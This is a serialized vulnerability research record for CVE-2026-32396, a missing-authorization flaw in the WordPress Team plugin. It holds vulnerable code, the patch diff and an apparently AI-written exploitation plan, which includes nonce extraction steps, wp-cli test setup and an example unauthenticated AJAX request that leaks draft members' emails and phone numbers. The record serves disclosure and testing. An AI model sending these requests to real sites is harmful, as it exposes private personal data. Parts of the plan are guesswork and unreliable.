[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fVJWDfl0b-H5CBcCNd35b0MuLkQj-HUxGq5ptR5tSgxI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-32396","team-missing-authorization-2","Team \u003C= 5.0.13 - Missing Authorization","The Team plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.0.13. This makes it possible for unauthenticated attackers to perform an unauthorized action.","tlp-team",null,"\u003C=5.0.13","5.0.14","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-02-20 00:00:00","2026-04-15 21:12:09",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F41114d2a-80a9-4f01-bd1f-0b0c9efd4a6d?source=api-prod",55,[22,23,24,25,26,27,28,29],"README.txt","app\u002FControllers\u002FFrontend\u002FAjax\u002FSinglePopup.php","app\u002FControllers\u002FFrontend\u002FAjax\u002FSmartPopup.php","app\u002FControllers\u002FFrontend\u002FAjax\u002FSpecialLayout.php","assets\u002Fcss\u002Fsettings.css","languages\u002Ftlp-team.pot","resources\u002Fget-help.php","tlp-team.php","researched",false,3,"## Vulnerability Summary\n\nThe **Team – Team Members Showcase Plugin** (versions \u003C= 5.0.13) contains a **Missing Authorization** vulnerability. The plugin registers several AJAX handlers—including `tlp_md_popup_single`, `tlp_team_smart_popup`, and `rtGetSpecialLayoutData`—using both `wp_ajax_` and `wp_ajax_nopriv_` hooks. While these handlers implement a nonce check, they fail to verify if the requesting user has sufficient capabilities (e.g., `current_user_can(...)`) to access the data or trigger the action.\n\nSpecifically, the `SinglePopup` controller (`app\u002FControllers\u002FFrontend\u002FAjax\u002FSinglePopup.php`) and the `SpecialLayout` controller (`app\u002FControllers\u002FFrontend\u002FAjax\u002FSpecialLayout.php`) do not check the `post_status` of the requested team member, allowing unauthenticated attackers to retrieve sensitive metadata (emails, phone numbers, bios) for members that may be in \"draft\" or \"private\" status. Furthermore, the reliance on a common nonce exposed to all users effectively renders the CSRF protection moot for unauthenticated endpoints.\n\n## Attack Vector Analysis\n\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Actions:** \n    - `tlp_md_popup_single` (via `RT\\Team\\Controllers\\Frontend\\Ajax\\SinglePopup`)\n    - `tlp_team_smart_popup` (via `RT\\Team\\Controllers\\Frontend\\Ajax\\SmartPopup`)\n    - `rtGetSpecialLayoutData` (via `RT\\Team\\Controllers\\Frontend\\Ajax\\SpecialLayout`)\n- **HTTP Parameters:**\n    - `action`: `tlp_md_popup_single` or `rtGetSpecialLayoutData`\n    - `security`: The WordPress nonce (obtained from the frontend).\n    - `id` (for popups) or `memberId` (for layouts): The ID of the team member post.\n    - `scID` (for layouts): The ID of a Team Shortcode post (post type `team-sc`).\n- **Authentication:** None required (unauthenticated).\n- **Preconditions:** The attacker must obtain a valid nonce, which is automatically localized and exposed on any page where a Team shortcode or widget is active.\n\n## Code Flow\n\n1.  **Registration:** In `SinglePopup::init()`, the action is registered for both logged-in and guest users:\n    ```php\n    add_action( 'wp_ajax_tlp_md_popup_single', [ $this, 'response' ] );\n    add_action( 'wp_ajax_nopriv_tlp_md_popup_single', [ $this, 'response' ] );\n    ```\n2.  **Nonce Verification:** The `response()` method checks a nonce using `Fns::getNonce()` and `Fns::nonceText()`:\n    ```php\n    if ( ! wp_verify_nonce( Fns::getNonce(), Fns::nonceText() ) ) { ... }\n    ```\n3.  **Missing Auth Check:** Immediately following the nonce check, the code proceeds to fetch the post without any `current_user_can()` check or `post_status` validation (in `SinglePopup`):\n    ```php\n    if ( isset( $_REQUEST['id'] ) && $post_id = absint( $_REQUEST['id'] ) ) {\n        $post = get_post( absint( $_REQUEST['id'] ) );\n        if ( $post && $post->post_type == rttlp_team()->post_type ) {\n            \u002F\u002F Processing metadata for any team post...\n        }\n    }\n    ```\n4.  **Information Leakage:** Metadata like `email`, `telephone`, `mobile`, `ttp_my_resume` (Resume URL), and `ttp_hire_me` (Hire URL) are fetched and returned in the JSON response.\n\n## Nonce Acquisition Strategy\n\nThe plugin localizes the nonce for its AJAX requests. To obtain it:\n\n1.  **Create Content:** Create a Team Member and a Page containing the default shortcode to ensure scripts are enqueued.\n    - `wp post create --post_type=team --post_title=\"Secret Member\" --post_status=draft --post_content=\"Draft info\"`\n    - `wp post create --post_type=page --post_title=\"Team Page\" --post_status=publish --post_content=\"[tlpteam]\"`\n2.  **Navigate:** Use `browser_navigate` to visit the \"Team Page\".\n3.  **Extract:** Use `browser_eval` to extract the nonce. Based on common RadiusTheme patterns, the nonce is likely stored in a global JS object like `rt_team_vars` or `tlp_team_vars`. \n    - Try: `browser_eval(\"tlp_team_vars.nonce\")` or search the page source for `nonce`.\n    - Alternatively, check for the localized script variable name in the HTML source: `grep -i \"nonce\"`.\n\n## Exploitation Strategy\n\n### Step-by-Step Plan\n\n1.  **Setup Member:** Create a team member with sensitive metadata and set its status to `draft`.\n2.  **Setup Shortcode:** Create a Team Shortcode (`team-sc`) to satisfy the `scID` parameter requirements for layout tests.\n3.  **Obtain Nonce:** Navigate to a page with the shortcode and extract the `security` token.\n4.  **Execute Information Disclosure (Single Popup):**\n    - Call `tlp_md_popup_single` via `http_request`.\n    - Request the ID of the `draft` member.\n    - Observe the metadata in the response.\n5.  **Execute Information Disclosure (Special Layout):**\n    - Call `rtGetSpecialLayoutData` via `http_request`.\n    - Parameters: `action=rtGetSpecialLayoutData`, `memberId=[ID]`, `security=[NONCE]`.\n\n### HTTP Request Payload (Example)\n\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=tlp_md_popup_single&security=82c41a9e3b&id=123\n```\n\n## Test Data Setup\n\n1.  **Team Member:**\n    ```bash\n    MEMBER_ID=$(wp post create --post_type=team --post_title=\"John Doe\" --post_status=draft --post_content=\"Confidential Bio\" --format=ids)\n    wp post meta update $MEMBER_ID email \"john.private@example.com\"\n    wp post meta update $MEMBER_ID telephone \"+1-555-0199\"\n    ```\n2.  **Shortcode (for layout action):**\n    ```bash\n    SC_ID=$(wp post create --post_type=team-sc --post_title=\"Grid Layout\" --post_status=publish --format=ids)\n    # Ensure fields are selected in meta so they display\n    wp post meta update $SC_ID ttp_selected_field 'a:3:{i:0;s:5:\"email\";i:1;s:9:\"telephone\";i:2;s:4:\"name\";}'\n    ```\n3.  **Public Page:**\n    ```bash\n    wp post create --post_type=page --post_title=\"Showcase\" --post_status=publish --post_content=\"[tlpteam id='$SC_ID']\"\n    ```\n\n## Expected Results\n\n- The `tlp_md_popup_single` request should return a JSON object containing the `Confidential Bio`, `john.private@example.com`, and `+1-555-0199`.\n- The `success` flag in the response should be `true` (if SmartPopup) or the `error` flag should be `false` (if SinglePopup), even though the requester is unauthenticated and the member is a `draft`.\n\n## Verification Steps\n\n1.  **Verify Response Content:**\n    - Check if `data` field in the JSON response contains the string `john.private@example.com`.\n2.  **Check Status Bypass:**\n    - Run `wp post get [MEMBER_ID] --field=post_status` to confirm the member is indeed `draft`.\n    - If the AJAX response still returns the member's data, the authorization bypass is confirmed.\n\n## Alternative Approaches","The Team plugin for WordPress fails to validate the post status of team members in multiple AJAX endpoints, allowing unauthenticated attackers to view sensitive profile data (emails, phone numbers, resumes) for members set to draft or private status.","\u002F\u002F app\u002FControllers\u002FFrontend\u002FAjax\u002FSinglePopup.php:49\n\tpublic function response() {\n\t\t$html  = $htmlCInfo = null;\n\t\t$error = true;\n\n\t\tif ( ! wp_verify_nonce( Fns::getNonce(), Fns::nonceText() ) ) {\n            \u002F\u002F ...\n\t\t}\n\t\tif ( isset( $_REQUEST['id'] ) && $post_id = absint( $_REQUEST['id'] ) ) {\n\t\t\tglobal $post;\n\t\t\t$post = get_post( absint( $_REQUEST['id'] ) );\n\t\t\tif ( $post && $post->post_type == rttlp_team()->post_type ) {\n\t\t\t\t$error = false;\n\n---\n\n\u002F\u002F app\u002FControllers\u002FFrontend\u002FAjax\u002FSpecialLayout.php:53\n\tpublic function response() {\n\n\t\t$memberId = ! empty( $_REQUEST['memberId'] ) ? absint( $_REQUEST['memberId'] ) : null;\n        \u002F\u002F ...\n\t\tif ( ! wp_verify_nonce( Fns::getNonce(), Fns::nonceText() ) ) {\n            \u002F\u002F ...\n\t\t}\n\n\t\tif ( $memberId ) {\n\t\t\t$name        = get_the_title( $memberId );","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftlp-team\u002F5.0.13\u002Fapp\u002FControllers\u002FFrontend\u002FAjax\u002FSinglePopup.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftlp-team\u002F5.0.14\u002Fapp\u002FControllers\u002FFrontend\u002FAjax\u002FSinglePopup.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftlp-team\u002F5.0.13\u002Fapp\u002FControllers\u002FFrontend\u002FAjax\u002FSinglePopup.php\t2026-01-23 11:15:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftlp-team\u002F5.0.14\u002Fapp\u002FControllers\u002FFrontend\u002FAjax\u002FSinglePopup.php\t2026-02-11 07:51:30.000000000 +0000\n@@ -49,7 +49,7 @@\n \t\tif ( isset( $_REQUEST['id'] ) && $post_id = absint( $_REQUEST['id'] ) ) {\n \t\t\tglobal $post;\n \t\t\t$post = get_post( absint( $_REQUEST['id'] ) );\n-\t\t\tif ( $post && $post->post_type == rttlp_team()->post_type ) {\n+\t\t\tif ( $post && $post->post_type == rttlp_team()->post_type &&  $post->post_status == 'publish') {\n \t\t\t\t$error = false;\n \t\t\t\tsetup_postdata( $post );\n                 $settings     = get_option( rttlp_team()->options['settings'] );\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftlp-team\u002F5.0.13\u002Fapp\u002FControllers\u002FFrontend\u002FAjax\u002FSpecialLayout.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftlp-team\u002F5.0.14\u002Fapp\u002FControllers\u002FFrontend\u002FAjax\u002FSpecialLayout.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftlp-team\u002F5.0.13\u002Fapp\u002FControllers\u002FFrontend\u002FAjax\u002FSpecialLayout.php\t2026-01-23 11:15:10.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Ftlp-team\u002F5.0.14\u002Fapp\u002FControllers\u002FFrontend\u002FAjax\u002FSpecialLayout.php\t2026-02-11 07:51:30.000000000 +0000\n@@ -50,8 +50,8 @@\n \t\t\t] );\n \n \t\t}\n-\n-\t\tif ( $memberId ) {\n+\t\t$post = get_post( $memberId );\n+\t\tif ( $memberId && $post && $post->post_status == 'publish' ) {\n \t\t\t$name        = get_the_title( $memberId );\n \t\t\t$designation = wp_strip_all_tags(\n \t\t\t\tget_the_term_list(","1. **Nonce Acquisition**: Access any public page on the WordPress site where the Team plugin enqueues its scripts. Extract the nonce from the localized JavaScript variable, typically found in the HTML source as `tlp_team_vars.nonce`.\n2. **Target Identification**: Determine the Post ID of a target Team Member post (e.g., through ID enumeration or guessing).\n3. **Data Retrieval**: Send an unauthenticated POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters:\n   - `action`: `tlp_md_popup_single` (or `rtGetSpecialLayoutData`)\n   - `security`: [The extracted nonce]\n   - `id`: [Target Member Post ID]\n4. **Sensitive Disclosure**: The server will return a JSON object containing the HTML of the member's profile, including private metadata like email addresses, phone numbers, and full biographies, even if the post status is set to 'draft'.","gemini-3-flash-preview","2026-04-19 01:59:35","2026-04-19 02:00:27",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.0.13","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftlp-team\u002Ftags\u002F5.0.13","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftlp-team.5.0.13.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftlp-team\u002Ftags\u002F5.0.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftlp-team.5.0.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftlp-team\u002Ftags"]